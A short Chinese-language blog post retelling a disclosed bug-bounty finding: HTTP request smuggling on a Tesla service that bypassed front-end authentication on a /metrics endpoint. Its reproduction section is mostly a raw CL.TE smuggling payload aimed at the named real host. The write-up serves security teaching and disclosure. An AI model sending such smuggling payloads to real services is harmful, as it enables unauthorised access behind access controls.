api漏洞系列-通过请求走私绕过Authentication

api漏洞系列-通过请求走私绕过Authentication

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

前言

这个漏洞是由 白帽小哥riramar 发现的,小哥发现特斯拉某个域名下服务容易受到HTTP请求走私的攻击，从而允许攻击者绕过前端安全控制。

POC(复现步骤)

当你访问https://apm.ap.tesla.services/metrics 时会返回 401（未经授权）。

通过使用 CLTE 有效负载执行下面的 Burp Intruder 攻击，攻击者可以绕过前端并访问https://apm.ap.tesla.services/metrics

注意:这里涉及到请求走私的相关知识

POST /?cb=906971031432954 HTTP/1.1
Transfer-Encoding : chunked
Host: apm.ap.tesla.services
Connection: keep-alive
ID: §0§
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 65

1
Z
0

GET /metrics HTTP/1.1
Host: apm.ap.tesla.services

0